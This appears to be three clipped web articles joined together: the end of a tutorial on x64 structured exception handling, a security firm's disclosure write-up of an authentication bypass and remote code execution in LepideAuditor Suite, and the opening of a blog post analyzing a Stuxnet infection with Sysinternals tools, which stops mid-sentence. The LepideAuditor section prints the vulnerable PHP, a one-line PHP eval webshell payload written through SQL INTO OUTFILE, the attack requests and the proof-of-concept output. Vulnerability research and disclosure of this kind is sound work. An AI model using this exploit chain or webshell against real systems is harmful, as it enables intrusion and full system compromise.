UNWIND\_INFO structure that describes _why_ the bit of code encompassed in the
_BeginAddress_ and _EndAddress_ is of interest. The UNWIND\_INFO structure is
defined in _Figure 1_.

\#define UNW\_FLAG\_NHANDLER 0x0  
\#define UNW\_FLAG\_EHANDLER 0x1  
\#define UNW\_FLAG\_UHANDLER 0x2  
\#define UNW\_FLAG\_CHAININFO 0x4 typedef struct \_UNWIND\_INFO \{  
UBYTE Version : 3;  
UBYTE Flags : 5;  
UBYTE SizeOfProlog;  
UBYTE CountOfCodes;  
UBYTE FrameRegister : 4;  
UBYTE FrameOffset : 4;  
UNWIND\_CODE UnwindCode\[1\];  
union \{  
//  
// If \(Flags & UNW\_FLAG\_EHANDLER\)  
//  
OPTIONAL ULONG ExceptionHandler;  
//  
// Else if \(Flags & UNW\_FLAG\_CHAININFO\)  
//  
OPTIONAL ULONG FunctionEntry;  
\};  
//  
// If \(Flags & UNW\_FLAG\_EHANDLER\)  
//  
OPTIONAL ULONG ExceptionData\[\];  
\} UNWIND\_INFO, \*PUNWIND\_INFO;  
**Figure 1 - UNWIND\_INFO Structure**  
---  
For the sake of brevity \(and actually achieving something with this article\)
I'm going to limit the scope of our discussion to **UNWIND\_INFO** structures
that describe exception handlers, which are those that have the
**UNW\_FLAG\_EHANDLER** bit set. So called "unwind handlers" and "chained
handlers" are going to have to wait for a later issue.

So, where was I...Oh, that's right...If the _UnwindData_ has the
**UNW\_FLAG\_EHANDLER** bit set, then the _BeginAddress_ and _EndAddress_
fields of the **RUNTIME\_FUNCTION** describe the location of a function in the
image that uses SEH. The _UnwindData_ structure then is going to describe all
the places where the **\_\_try** keyword appears in the function, their
associated exception handlers \(a.k.a. exception _filters_\), and the location
of the code contained in the **\_\_except** block. Be sure to note the
distinction between the exception handler and the exception block itself - the
handler determines if the **\_\_except** block is executed or not.

The two members of the **UNWIND\_INFO** structure that relate directly to
exception handling are _ExceptionHandler_ and _ExceptionData_. So, next we'll
look at these two in a bit more detail. Incidentally, the _CountOfCodes_ and
_UnwindCode_ array are also important and interesting, but, again, that's
fodder for another article.

**Yes\! More Data Structures  
** When the **UNW\_FLAG\_EHANDLER** bit is set, the _ExceptionHandler_ field
of the **UNWIND\_INFO** structure is assumed to be valid. This field is filled
in by the compiler and says, "Hey, you, O/S\! If an exception ever occurs and
the instruction pointer is >= _BeginAddress_ and < _EndAddress, call this
handler\! "_ This generic exception handler, currently implemented as
**\_C\_specific\_handler** , is then responsible for figuring out exactly what
to do with this exception. It does this by parsing the _ExceptionData_.

On the x64, the _ExceptionData_ is actually an offset to a pointer to a
**SCOPE\_TABLE** structure \(defined in ntx64.h in build 5308 of the Windows
Driver Kit\):

typedef struct \_SCOPE\_TABLE \{  
ULONG Count;  
struct  
\{  
ULONG BeginAddress;  
ULONG EndAddress;  
ULONG HandlerAddress;  
ULONG JumpTarget;  
\} ScopeRecord\[1\];  
\} SCOPE\_TABLE, \*PSCOPE\_TABLE;

As you can see, this is a variable length structure containing a count
followed by _Count_ "scope records". While the **RUNTIME\_FUNCTION** describes
the entire range of a function that contains SEH, the **SCOPE\_TABLE**
describes each of the individual **\_\_try** /**\_\_except** blocks within the
function. Let's check out each of the fields of the scope record in turn:

**_BeginAddress_** \- This value indicates the offset of the first instruction
within a **\_\_try** block located in the function.

_**EndAddress**_ \- This value indicates the offset to the instruction after
the last instruction within the **\_\_try** block \(conceptually the
**\_\_except** statement\).

**_HandlerAddress_** \- This value indicates the offset to the function
located within the parentheses of the **\_\_except\(\)** statement. In the
documentation you'll find this routine called the "exception handler" or
"exception filter".

If the code in question specifies the predefined handler
**EXCEPTION\_EXECUTE\_HANDLER** , this value may simply be "1" \(i.e. the
value of **EXCEPTION\_EXECUTE\_HANDLER**\).

**_JumpTarget_** \- This value indicates the offset to the first instruction
in the **\_\_except** block associated with the **\_\_try** block.  

**The Result**  
Putting all of the foregoing info together, _Figure 2_ shows the data
structure that we're going to be dealing with for the remainder of the
article.

<img src='img/Temp2_8225.gif' /> **Figure 2 - RUNTIME\_FUNCTION with
UNW\_FLAG\_EHANDLER FUNCTION Set**  
---  
**Example**  
Checking out an example of how this all fits together should help clear up
what the structures that we've seen so far represent. Consider this function:

VOID  
FrobThePointer\(  
PUCHAR UserAddress  
\) \{  
\_\_try \{  
\*UserAddress = 0;  
\*UserAddress = 1;  
\} \_\_except \(EXCEPTION\_EXECUTE\_HANDLER\) \{  
DbgPrint\("Bad Address\n"\);  
\}  
\}

Using instruction address zero as the base, the resulting assembly looks
something like what you see in _Figure 3_.

<00> mov \[rsp+0x8\],rcx  
<05> sub rsp,0x28  
<09> mov rax,\[rsp+0x30\] // Move UserAddress into RAX  
<0e> mov byte ptr \[rax\],0x0 // \*UserAddress = 0;  
<11> mov rax,\[rsp+0x30\] // Move UserAddress into RAX  
<16> mov byte ptr \[rax\],0x1 // \*UserAddress = 1;  
<19> jmp FrobThePointer+0x28 // Success\!  
<1b> lea rcx,"Bad Address\n" // Begin of code in except block...  
// prepare to DbgPrint  
<22> call DbgPrint  
<27> nop  
<28> add rsp,0x28  
<2c> ret **Figure 3 - Assembly of FrobThePointer**  
---  
During the compilation process, the **RUNTIME\_FUNCTION** \(See _Figure 4_\)
would be put into the exception directory of the driver's PE header. Note that
the numbers here are again based on the previous, zero based example for
clarity.

**<img src='img/Temp2_8224.gif' />****Figure 4 - RUNTIME\_FUNCTION for
FrobThePointer**  
---  
As you can see, this structure fully describes the SEH used within this
function. By looking at the **SCOPE\_TABLE** we know that:

  1. There is one **\_\_try** /**\_\_except** block in this function.
  2. The **\_\_try** block begins at address 0x9 and ends at 0x1b.
  3. The developer provided the default exception filter of **EXCEPTION\_EXECUTE\_HANDLER** , meaning always call the **\_\_except** block.
  4. The **\_\_except** block can be found at address 0x1b.

If an exception occurs while dereferencing one of the pointers within the
**\_\_try** block, the function **\_C\_specific\_handler** will be called and
will begin parsing the _ExceptionData_. Once **\_C\_specific\_handler** finds
a scope record that covers the faulting instruction, it knows exactly where
the exception handler and code for the **\_\_except** block reside.

**More About \_C\_specific\_handler  
** Now let's take all of the info we've collected to put together the pseudo
code for **\_C\_specific\_handler** in _Figure 5_. Earlier I mentioned that
the _ExceptionHandler_ in the **RUNTIME\_FUNCTION** is the compiler telling
the O/S what to call if an exception is raised while executing the function.
Once the exception is raised by the processor, the standard exception handling
mechanism in Windows will find the **RUNTIME\_FUNCTION** for the offending
instruction pointer and call the _ExceptionHandler_. This will always result
in a call to **\_C\_specific\_handler** for kernel-mode code running on
current versions of Windows. **\_C\_specific\_handler** will then begin
walking all of the **SCOPE\_TABLE** entries searching for a match on the
faulting instruction, and will hopefully find an **\_\_except** statement that
covers the offending code.

\_C\_specific\_handler \{ scopeTable = UwindData->ExceptionData;  
For \(index = 0; index < scopeTable->Count; index++\)  
scopeRecord = scopeTable->ScopeRecord\[i\];  
If \(FaultingInstruction >= scopeRecord->BeginAddress &&  
FaultingInstruction < scopeRecord->EndAddress\) \{  
  
If \(scopeRecord->HandlerAddress \!= 1\) \{  
callExceptHandler = \(\*scopeRecord->HandlerAddress\)\(\);  
\} else \{  
callExceptHandler = TRUE;  
\}  
  
If \(callExceptHandler\) \{  
\(\*scopeRecord->JumpTarget\)\(\);  
\}  
\}  
\}  
\}  **Figure 5 - Pseudo-code for \_C\_specific\_handler**  
---  
**Wanna Know More?**  
If you're dying to know more, all this information is readily available
through your favorite debugger. Simply pass the function of interest to the
**.fnent** command and all that's left is parsing the **UNWIND\_INFO**
structure. Also, don't forget this is fully documented in the SDK, along with
various functions and structure definitions to make your spelunking that much
more enjoyable.

Tweet

**Related Articles**  
Inlining into SEH Filters Can Result in Invalid Code on AMD64  
ExAllocatePoolWithQuota Raises Exceptions  
Only Signed Drivers To Run on Vista X64  
Take Two - x64 Driver Signing  
Just Sign Everything - What to Sign and How to Sign It for Vista  
x64 Driver Signing as of Vista RC1 \(and later\)

# Auditing the Auditor

**Created:**| _7/17/2017 11:29:53 AM_  
---|---  
**Updated:**| _7/17/2017 11:29:53 AM_  
**Author:**| __  
**Tags:**| _security tools LOLZ_  
  

  

Some time ago, we noticed some security researchers looking for critical
vulnerabilities affecting “security” based products \(such as antivirus\) that
can have a damaging impact to enterprise and desktop users. Take a stroll
through the Google Project Zero bug tracker to see what we mean. Other
security researchers are outspoken about such products as well:

<img src='img/Temp2_914.png' width='400' height='91' />

The underlying point is that on the face of it, the wider community _assumes_
that security products are themselves secure and often don’t comprehend the
significant increase of attack surface introduced by so-called security
products. Thanks to the work of security researchers, antivirus has been
proven to fall short of the big enterprise giants, who already implement
sandbox technologies, strong exploit mitigation technologies, and have
evolving and maturing bug bounty programs.

While we all love a good antivirus remote code execution vulnerability, many
intelligent people are already working in that space so we decided to begin
auditing  _compliance-based_ enterprise software products. This type of
software typically tries to ensure some level of security and compliance,
promising high integrity to the enterprise market.

Today, we’re going to discuss an interesting vulnerability that was discovered
well over a year ago \(Sun, 22 May 2016 at 7pm to be exact\) during the audit
of one such compliance-based enterprise product: LepideAuditor Suite.

<img src='img/Temp2_913.png' width='1024' height='211' alt='LeptideAuditor
Suite Introduction' />

This vulnerability was publicly disclosed as ZDI-17-440 and marked as zero-day
since no reply was received from the vendor. Interestingly, this vulnerability
is patched in the latest version of LepideAuditor even though there is no
mention of it in the product’s release history.

The product introduction states that it is designed for IT security managers
and audit personnel among a few others and it allows users to access real-time
reports through a “secure” web portal. Without further ado, let’s begin\!

#### Installation

The suite is designed for IT security managers and audit personnel among a few
others. The suite consists of four components that can be installed after
extracting the lepideauditorsuite.zip package. The first component that we
installed was the “Lepide Auditor Web Console”

<img src='img/Temp2_917.png' width='1024' height='292' alt='LepideAuditor
package' />

The component installation is easy. With a double-click, we deployed the
simple WAMP stack that Lepide provided on port 7778.

<img src='img/Temp2_920.png' width='600' height='588' />

#### Auditing

With the application up and running, we started by looking at Process Explorer
to see what was going on:

<img src='img/Temp2_919.png' width='1154' height='286' alt='analyzing with
process explorer' />

We noticed that the web console is simply an Apache web server running as _NT
AUTHORITY\SYSTEM_ listening on port 7778. The properties window also displayed
the current directory as  _**C:\LepideAuditorSuiteWebConsole\apache**_ so this
is a good place to look first.

Browsing around this path in Explorer revealed something interesting:

<img src='img/Temp2_915.png' width='281' height='193' />

It’s our good friend PHP, and like many people, we love ourselves a good PHP
target.

#### Authentication Bypass

Looking for some low-hanging fruit, we decided to start with a blackbox
approach and spend some time poking around at the authentication mechanism:

<img src='img/Temp2_912.png' width='2028' height='388' alt='attempting to
authenticate' />

Right away, we noticed that the authentication process took a long time
\(around about 6 seconds\) to get a response from the server. We also noticed
that the application was asking for an extra server parameter as input, which
is not _normal_ , during authentication. It turns out that the extra time
taken was because Apache was performing a DNS lookup request for ‘test’.

Since we did not have login credentials and could not reach much functionality
without them, we moved on to auditing the PHP source code directly. The first
thing we looked at was the login functionality, apparently implemented by
**_index.php_**. Opening up the file revealed the following:

<img src='img/Temp2_916.png' width='748' height='178' alt='wut' />

Full disclosure: we admit we got a bit of a chuckle over this. Whilst security
through obscurity is fine for things like ASLR, it doesn’t make much sense for
source code, especially using base64 as the obfuscation technique. We would at
least expect a JIT obfuscation technique such as ionCube or Zend Guard.

After breaking through the imposing base64 encoding, we saw the following
code:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
| <?php  
session\_start\(\);  
if\(\(isset\($\_SESSION\["username"\]\)\)&&\($\_SESSION\["username"\]\!=""\)\)  
\{  
//header\("location: data.php" \);  
//exit\(\);  
\}  
?>  
<?php include\_once\("config.php"\); ?>  
<?php  
$error='';  
if\(isset\($\_POST\["submit"\]\)\)  
\{  
$servername =
isset\($\_POST\["servername"\]\)?mysql\_real\_escape\_string\($\_POST\["servername"\]\):"";  
$username =
isset\($\_POST\["username"\]\)?mysql\_real\_escape\_string\($\_POST\["username"\]\):"";  
$password =
isset\($\_POST\["password"\]\)?mysql\_real\_escape\_string\($\_POST\["password"\]\):"";  
if \($servername==""\) \{  
$error= "Please Enter Server Name";  
\}  
elseif \($username==""\) \{  
$error= "Please Enter Username";  
\}  
//elseif \(strpos\($username,'@'\)==false\) \{  
// $error= 'Please Enter Valid Username';  
//\}  
elseif \($username==""\) \{  
$error= "Please Enter Password";  
\}  
if\($error==""\) \{  
$port=1056;  
$sock=connect \($servername,$port\);  
if\($sock\) \{  
$\_SESSION\["socket"\]=$sock;  
$data= 601; //authenticate login  
if\(sendtags\($\_SESSION\["socket"\],$data\)\)  
\{  
if\(sendstringtoserver\($\_SESSION\["socket"\],$username\)\)  
\{  
if\(sendstringtoserver\($\_SESSION\["socket"\],$password\)\)  
\{  
$recv= getstringfromserver\($\_SESSION\["socket"\]\);  
  
if \($recv =='\_SUCCESS\_'\)  
\{  
$\_SESSION\["username"\]=$username;  
$\_SESSION\["ip"\]=$servername;  
$\_SESSION\["password"\]=$password;  
$\_SESSION\["sessionno"\]=rand\(10,100\);  
session\_write\_close\(\);  
header\("location: reports" \);  
exit\(\);  
\}  
---|---  
Looking at the code, we see that it includes **_config.php_** , which of
course, also looks interesting. However, to begin with, the code is taking
user-supplied input as the **server** variable along with a hard-coded port
number, and passing it to the **connect\(\)** function on line 31. Let’s take
a look at that function within the **_config.php_** file:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
| function connect \($ip,$port\)  
\{  
if \(\!extension\_loaded\('sockets'\)\) \{  
die\('The sockets extension is not loaded.'\);  
\}  
if\(\!\($sock = socket\_create\(AF\_INET, SOCK\_STREAM, 0\)\)\)  
\{  
$errorcode = socket\_last\_error\(\);  
$errormsg = socket\_strerror\($errorcode\);  
die\("Couldn't create socket: \[$errorcode\] $errormsg \n"\);  
\}  
if\(\!socket\_connect\($sock , $ip ,$port\)\)  
\{  
$sock= "";  
$error="could not connect";  
return $sock;  
\}  
else\{  
return $sock;  
\}  
return $sock;  
\}  
---|---  
The code creates a raw socket connection to the supplied **_server_**
parameter. Switching back to the **_index.php_** script, on lines 37 and 39
the code tries to authenticate using the supplied username and password. If
successful from line 43, a valid, authenticated session is created\!

Since, as an attacker, we can control the authenticating **server** parameter,
we can essentially bypass the authentication.

#### Gaining Remote Code Execution

Now that we could bypass the authentication, we decided to look further into
the source code and see what other input is trusted from the authentication
server.

After spending some more time browsing around the source code, we noticed an
interesting file named **_genratereports.php_**. Judging by the name, it is
presumably used to generate rate reports, rather than facilitating an
attacker’s access into the target.

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
|  $gid= isset\($\_GET\["grid\_id"\]\)?$\_GET\["grid\_id"\]:'';  
if\(\($id\!=0\)&&\($daterange\!=""\)&&\($path\!=""\)&&\($gid==""\)\)  
\{  
$port=1056;  
$sock =login\($ip, $port, $username,$password\);  
if\($sock\)  
\{  
$data = 604;  
if\(sendtags\($sock,$data\)\)  
\{  
if\(sendstringtoserver\($sock,$id\)\)  
\{  
if\(sendstringtoserver\($sock,$path\)\)  
\{  
$columnamestr=getstringfromserver\($sock\);  
$columname=genratecolumnname\($columnamestr\);  
session\_start\(\);  
$\_SESSION\["columname"\]=$columname;  
session\_write\_close\(\);  
\}  
\}  
\}  
if\($columname\)  
\{  
$data = 603;  
if\(sendtags\($sock,$data\)\)  
\{  
if\(sendstringtoserver\($sock,$daterange\)\)  
\{  
if\(sendstringtoserver\($sock,$id\)\)  
\{  
if\(sendstringtoserver\($sock,$path\)\)  
\{  
$filename=getfilefromremote\($sock\);  
if\($filename\)  
\{  
$restore\_file = "temp/".$filename.".sql";  
if\(createdb\($restore\_file,$username,$sessionnumber\)\)  
---|---  
It seems that we can reach the vulnerable code block if the **$gid** variable
is set, which is controlled from the **grid\_id** GET parameter. Next,
**login\(\)** is called using our supplied username and password from our
_authenticated session_.

The **login\(\)** function is essentially the same process we went through
before to authenticate and setup the initial session, defined in
**_config.php_**.

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
| function login\($ip, $port, $username,$password\)  
\{  
$sock=connect \($ip,$port\);  
if\($sock\) \{  
$data= 601; //authenticate login  
if\(sendtags\($sock,$data\)\)  
\{  
if\(sendstringtoserver\($sock,$username\)\)  
\{  
if\(sendstringtoserver\($sock,$password\)\)  
\{  
$recv= getstringfromserver\($sock\);  
if \($recv =='\_SUCCESS\_'\)  
\{  
return $sock;  
/\* $\_SESSION\["username"\]=$username;  
$\_SESSION\["ip"\]=$servername;  
header\("location: data.php" \);  
exit\(\); \*/  
\}  
else\{  
disconnect\($sock\);  
destroysession\(\);  
//return false;  
\}  
\}  
\}  
\}  
\}  
\}  
---|---  
The difference this time, is that it doesn’t set any session variables, but
simply returns the socket handle. Returning back to **_genratereports.php_** ,
after the login returns and validates the socket handle, some tags and strings
are sent to the controlled server and then a column name is sent from the
server. That column name is validated, and then finally, on line 34, we see a
call to **getfilefromremote\(\)**. That function looked ~~scary~~ interesting
to us, so we decided it merited further investigation. The
**getfilefromremote\(\)** function is also defined in **_config.php_** :

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
| function getfilefromremote\($sock\)  
\{  
$uniqid=uniqid\(\);  
$tag=readtag\($sock\);  
if\($tag\[1\]==5\)  
\{  
$msg="";  
$buf=socket\_read \($sock, 4\);  
$rec\_Data= unpack\("N",$buf\);  
if\($rec\_Data\[1\]>0\)//size  
\{  
if\($rec\_Data\[1\]0\)  
\{  
$data= socket\_read\($sock, $size\);  
$size=$size-strlen\($data\);  
$data\_rec.=$data;  
\}  
\} catch \(Exception $e\) \{  
echo 'Caught exception: ', $e->getMessage\(\), "\n";  
\}  
$data = iconv\('UTF-16LE','UTF-8',$data\_rec\);  
$fp = fopen\("temp/".$uniqid.".sql","wb"\);  
fwrite\($fp,$data\);  
fclose\($fp\);  
$ack=2;  
if\(socket\_send \( $sock , pack\('N\*',$ack\), strlen\(pack\('N\*',$ack\)\) ,
0\)\)  
\{  
if\($rec\_ack=readtag\($sock\)\)  
\{  
if\($rec\_ack\[1\]==2\)  
\{  
//socket\_close\($sock\);  
return $uniqid;  
\}  
\}  
\}  
\}  
---|---  
The function reads data from our controlled server and copies it to a
temporary file that is created using **uniqid\(\)** on lines 22 and 23.
Finally, the code returns the **uniqid** that was created.

Going back to **_genratereports.php_** , we can see the **$restore\_file**
variable is mapped to the same path as the file that was created in
**getfilefromremote\(\)**. That variable is then passed to the
**createdb\(\)** function. Let’s investigate **createdb\(\)** within, once
again, **_config.php_** :

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
|  function createdb\($dbfile,$Dusername,$sessionnumber\)  
\{  
$dbcreate= false;  
ini\_set\('max\_execution\_time', 300\); //300 seconds = 5 minutes  
$server\_name= "localhost";  
$username= "root";  
$password= "";  
$dbname= substr\(preg\_replace\("/\[^a-z\]+/", "", $Dusername\), 0, 12\);  
$dbname= $dbname.$sessionnumber;  
$link = mysql\_connect\($server\_name, $username, $password\);  
if \($link\) \{  
$user=substr\(preg\_replace\("/\[^a-z\]+/", "", $Dusername\), 0, 12\);  
//$user=$user.sessionno  
$host="localhost";  
$pass= "123456";  
$userQ= "DROP USER ".$user."@localhost";  
$createQ = "CREATE USER '\{$user\}'@'\{$host\}' IDENTIFIED BY '\{$pass\}'";  
$grantQ = "GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE
TEMPORARY TABLES, CREATE USER, CREATE VIEW, DELETE, DROP, EVENT, EXECUTE,
FILE, INDEX, INSERT, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION
CLIENT, REPLICATION SLAVE, SELECT, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER,
TRIGGER, UPDATE ON \*.\* TO '\{$user\}'@'\{$host\}' WITH GRANT OPTION";  
mysql\_query\($userQ\);  
if\(mysql\_query\($createQ\)\)\{  
if\(mysql\_query\($grantQ\)\)\{  
$dropdbQ ='DROP DATABASE IF EXISTS '.$dbname;  
mysql\_query\($dropdbQ, $link\);  
$sql = 'CREATE DATABASE IF NOT EXISTS '.$dbname;  
mysql\_query\($sql, $link\);  
$cmd = "mysql -h \{$host\} -u \{$user\} -p\{$pass\} \{$dbname\} < $dbfile";  
exec\($cmd,$output,$return\);  
---|---  
The **createdb** function attempts to create a new _root_ database user
account and uses the supplied **$restore\_file** variable into a command that
is passed to **exec\(\)** on lines 30 and 31.

On the surface, it appears that this is a command execution vulnerability,
however, since we do not fully or partially control the filename directly
\(just the contents\), we cannot execute commands.

However, the astute reader has probably put it all together–we can control
input passed to the MySQL client as the database user _root_ using attacker-
controlled SQL. At this point, we can do something like the following:

1  
2  
| \# exploit\!  
if send\_file\(conn, "select '<?php eval\($\_GET\[e\]\); ?>' into outfile
'../../www/offsec.php';"\):  
---|---  
#### Exploitation

This was simple enough. All we had to do was create a socket server that
interacted with the target and supplied what it needed, when it needed it.

In one window, we setup the malicious server:

root@kali:~\# ./server-poc.py  
Lepide Auditor Suite createdb\(\) Web Console Database Injection Remote Code
Execution  
by mr\_me 2016  
  
\(+\) waiting for the target...

We then used a client to send the first login request, then a second request
to the **_genratereport.php_** file:

root@kali:~\# ./client-poc.py 172.16.175.137 172.16.175.1  
\(+\) sending auth bypass  
\(+\) sending code execution request

The first request just performs the login against our attacker-controlled
server:

POST /index.php HTTP/1.1  
Host: 172.16.175.137:7778  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 61  
  
servername=172.16.175.1&username=test&password=hacked&submit=

We get a response that contains an authenticated _PHPSESSID_. We must take
care to not follow the redirect, or our PHPSESSID will be destroyed \(code
omitted\):

HTTP/1.1 302 Found  
Date: Sun, 22 May 2016 19:00:20 GMT  
Server: Apache/2.4.12 \(Win32\) PHP/5.4.10  
X-Powered-By: PHP/5.4.10  
Set-Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
location: reports  
Content-Length: 8  
Content-Type: text/html

The second request triggers the **exec\(\)** call using our newly-
authenticated PHPSESSID:

GET /genratereports.php?path=lol&daterange=1@9&id=6 HTTP/1.1  
Host: 172.16.175.137:7778  
Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3

Finally, all the pieces come together…

root@kali:~\# ./server-poc.py  
Lepide Auditor Suite createdb\(\) Web Console Database Injection Remote Code
Execution  
by mr\_me 2016  
  
\(+\) waiting for the target...  
\(+\) connected by \('172.16.175.137', 50541\)  
\(+\) got a login request  
\(+\) got a username: test  
\(+\) got a password: hacked  
\(+\) sending SUCCESS packet  
\(+\) send string successful  
\(+\) connected by \('172.16.175.137', 50542\)  
\(+\) got a login request  
\(+\) got a username: test  
\(+\) got a password: hacked  
\(+\) sending SUCCESS packet  
\(+\) send string successful  
\(+\) got a column request  
\(+\) got http request id: 6  
\(+\) got http request path: lol  
\(+\) send string successful  
\(+\) got a filename request  
\(+\) got http request daterange: 1@9 - 23:59:59  
\(+\) got http request id: 6  
\(+\) got http request path: lol  
\(+\) successfully sent tag  
\(+\) successfully sent file\!  
\(+\) file sent successfully  
\(+\) done: http://172.16.175.137:7778/offsec.php?e=phpinfo\(\);

<img src='img/Temp2_918.png' width='1346' height='182' />

That’s _unauthenticated_ remote code execution as _NT AUTHORITY\SYSTEM_. It’s
also interesting to note that Lepide uses an old version of PHP\!

#### Conclusion

Currently, a great deal of focus is applied to input validation
vulnerabilities such as an SQL injection or PHP code injection but the
complete security model of this application is destroyed when trusting the
client to supply the authentication server. Disastrous logic vulnerabilities
such as these can be avoided if the trust chain is validated before
deployment.

This is a vulnerability that never would have been found via a blackbox
approach. Last year during our Advanced Web Attacks and Exploitation \(AWAE\)
course at Black Hat, we guided the students focus away from the ‘traditional’
blackbox web application penetration test to a more involved white-box/grey-
box research approach. The threat landscape is changing and skilled web
application bug hunters are everywhere due to the explosion of the service-
oriented bug bounties provided by companies large and small.

On the other hand, product-oriented bug bounties require auditors to
understand application logic and code even more so than a service-oriented
bounty hunter. In order for security analysts to progress, they will need to
have the ability to audit source code at a detailed level in the on-going
quest to discover zero-day.

#### References:

https://www.exploit-db.com/exploits/42297/
http://www.zerodayinitiative.com/advisories/ZDI-17-440/

  

# Analyzing a Stuxnet Infection with the Sysinternals Tools, Part 1 - Mark's
Blog - Site Home - TechNet Blogs

**Created:**| _3/31/2011 8:58:26 AM_  
---|---  
**Updated:**| _3/31/2011 8:58:39 AM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis windows environment_  
  

### Analyzing a Stuxnet Infection with the Sysinternals Tools, Part 1

Mark Russinovich

30 Mar 2011 1:00 AM

  * 10

Though I didn’t realize what I was seeing, Stuxnet first came to my attention
on July 5 last summer when I received an email from a programmer that included
a driver file, Mrxnet.sys, that they had identified as a rootkit. A driver
that implements rootkit functionality is nothing particularly noteworthy, but
what made this one extraordinary is that its version information identified it
as a Microsoft driver and it had a valid digital signature issued by Realtek
Semiconductor Corporation, a legitimate PC component manufacturer \(while I
appreciate the programmer entrusting the rootkit driver to me, the official
way to submit malware to Microsoft is via the Malware Protection Center
portal\).

I forwarded the file to the Microsoft antimalware and security research teams
and our internal review into what became the Stuxnet saga began to unfold,
quickly making the driver I had received become one of the most infamous
pieces of malware ever created. Over the course of the next several months,
investigations revealed that Stuxnet made use of four “zero day” Windows
vulnerabilities to spread and to gain administrator rights once on a computer
\(all of which were fixed shortly after they were revealed\) and was signed
with certificates stolen from Realtek andJMicron. Most interestingly, analysts
discovered code that reprograms Siemens SCADA \(Supervisory Control and Data
Acquisition\) systems used in some centrifuges, and many suspect Stuxnet was
specifically designed to destroy the centrifuges used by Iran’s nuclear
program to enrich Uranium, a goal the Iranian government reported the virus at
least partially accomplished.

As a result, Stuxnet has been universally acknowledged as the most
sophisticated piece of malware created. Because of its apparent motives and
clues found in the code, some researchers believe that it’s the first known
example of malware used for state-sponsored cyber warfare. Ironically, I
present several examples of malware targeting infrastructure systems in my
recently-published cyber-thriller Zero Day, which when I wrote the book
several years ago seemed a bit of a stretch. Stuxnet has proven the examples
to be much more likely than I had thought \(by the way, if you’ve read Zero
Day, please leave a review on Amazon.com\).

#### Malware and the Sysinternals Tools

My last several blog posts have documented cases of the Sysinternals tools
being used to help clean malware infections, but malware researchers also
commonly use the tools to analyze malware. Professional malware analysis is a
rigorous and tedious process that requires disassembling malware to reverse
engineer its operation, but systems monitoring tools like Sysinternals Process
Monitor and Process Explorer can help analysts get an overall view of malware
operation. They can also provide insight into malware’s purpose and help to
identity points of execution and pieces of code that require deeper
inspection. As the previous blog posts hint, those findings can also serve as
a guide for creating malware cleaning recipes for inclusion in antimalware
products.

I therefore thought it would be interesting to show the insights the
Sysinternals tools give when applied to the initial infection steps of the
Stuxnet virus \(note that no centrifuges were harmed in the writing of this
blog post\). I’ll show a full infection of a Windows XP system and then
uncover the way the virus uses one of the zero-day vulnerabilities to elevate
itself to administrative rights when run from an unprivileged account on
Windows 7. Keep in mind that Stuxnet is an incredibly complex piece of
malware. It propagates and communicates using multiple methods and performs
different operations depending on the version of operating system infected and
the software installed on the infected system. This look at Stuxnet just
scratches the surface and is intended to show how with no special reverse
engineering expertise, Sysinternals tools can reveal the system impact of a
malware infection. See Symantec’s W32.Stuxnet Dossier for a great in-depth
analysis of Stuxnet’s operation.

#### The Stuxnet Infection Vector

Stuxnet spread last summer primarily via USB keys, so I’ll start the infection
with the virus installed on a key. The virus consists of six files: four
malicious shortcut files with names that are based off of “Copy of Shortcut
to.lnk” and two files with names that make them look like common temporary
files. I’ve used just one of the shortcut files for this analysis, since they
all serve the same purpose:

<img src='img/Temp2_706.png' width='190' height='179' alt='image' />

In this infection vector, Stuxnet begins executing without user interaction by
taking advantage of a zero-day vulnerability in the Windows Explorer Shell
\(Shell32.dll\) shortcut parsing code. All the user has to do is open a
directory containing the Stuxnet files in Explorer. To let the infection
succeed, I first uninstalled the fix for the Shell flaw, KB2286198, that was
pushed out by Windows Update in August 2010. When Explorer opens the shortcut
file on an unpatched system to find the shortcut’s target file so that it can
helpfully show the icon, Stuxnet infects the system and uses rootkit
techniques to hide the files, causing them to disappear from view.

Stuxnet on Windows XP

Before triggering the infection, I started Process Monitor, Process Explorer
and Autoruns. I configured Autoruns to perform a scan with the “Hide Microsoft
and Windows Entries” and “Verify Code Signatures” options checked:

<img src='img/Temp2_713.png' width='244' height='149' alt='image' />

This removes any entries that have Microsoft or Windows digital signatures so
that Autoruns shows only entries populated by third-party code, including code
signed by other publishers. I saved the output of the scan so that I could
have Autoruns compare against it later and highlight any entries added by
Stuxnet. Similarly, I paused the Process Explorer display by pressing the
space bar, which would enable me to refresh it after the infection and cause
it to show any processes started by Stuxnet in the green background color
Process Explorer uses for new processes. With Process Monitor capturing
registry, file system, and DLL activity, I navigated to the USB key’s root
directory, watched the temporary files vanish, waited a minute to give the
virus time to complete its infection, stopped Process Monitor and refreshed
both Autoruns and Process Explorer.

After refreshing Autoruns, I used the Compare function in the File menu to
